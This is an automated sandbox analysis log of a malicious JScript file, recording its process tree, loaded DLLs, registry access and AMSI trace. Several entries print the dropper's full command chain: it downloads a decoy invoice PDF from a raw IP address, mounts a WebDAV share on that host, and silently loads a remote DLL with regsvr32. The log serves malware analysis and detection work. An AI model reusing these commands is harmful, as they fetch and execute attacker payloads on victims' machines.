Source: 1012716259541818656.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.spyw.expl.evad.winJS@27/61@0/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL
Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:7544:120:WilError_03

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_30v0yalz.dbn.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\1012716259541818656.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1604,i,4274114724177970302,11413238747508519512,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\14950280994064.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1604,i,4274114724177970302,11413238747508519512,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dsrole.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: pcwum.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msv1_0.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntlmshared.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptdll.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwpuclnt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rasadhlp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rmclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: usermgrcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: twinapi.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: execmodelproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vssapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: vsstrace.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: samlib.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: es.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: schannel.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mskeyprotect.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ncryptsslp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: mpr.dll	Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{f414c260-6ac0-11cf-b6d1-00aa00bbbb58}\InprocServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File opened: C:\Windows\Microsoft.NET\Framework64\v4.0.30319\mscorrc.dll

Jump to behavior

Data Obfuscation

JScript performs obfuscated calls to suspicious functions

Source: C:\Windows\System32\wscript.exe

Anti Malware Scan Interface: WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IHost.CreateObject("Scripting.FileSystemObject");IFileSystem3.CreateTextFile("Z:\syscalls\26.js.csv");ITextStream.WriteLine(" entry:7293 f:ekjrgvzsk");ITextStream.WriteLine(" exec:2 f:ekjrgvzsk");IHost.Name();ITextStream.WriteLine(" entry:38 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:38 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:36 o: f:RegRead a0:%22HKEY_CURRENT_USER%5CControl%20Panel%5CInternational%5CLocale%22");IWshShell3.RegRead("HKEY_CURRENT_USER\Control Panel\International\Locale");IWshShell3._00000000();ITextStream.WriteLine(" exit:36 o: f:RegRead r:%2200000C00%22");ITextStream.WriteLine(" entry:16 o: f:parseInt a0:%2200000C00%22 a1:16");ITextStream.WriteLine(" exit:16 o: f:parseInt r:3072");IHost.Name();ITextStream.WriteLine(" entry:306 o:Windows%20Script%20Host f:CreateObject a0:%22WScript.Shell%22");IHost.CreateObject("WScript.Shell");IHost.Name();IWshShell3._00000000();ITextStream.WriteLine(" exit:306 o:Windows%20Script%20Host f:CreateObject r:");IWshShell3._00000000();ITextStream.WriteLine(" entry:304 o: f:run a0:%22cmd%20%2Fc%20powershell.exe%20-Command%20%22Invoke-WebRequest%20-OutFile%20%25temp%25%5Cinvoice.pdf%20http%3A%2F%2F193.143.1.205%2Finvoice.php%22%26%26start%20%25temp%25%5Cinvoice.pdf%26%26cmd%20%2Fc");IWshShell3.Run("cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\invoice.", "0", "false")

Suspicious powershell command line found

Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"			Jump to behavior

Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Process information set: NOOPENFILEERRORBOX	Jump to behavior
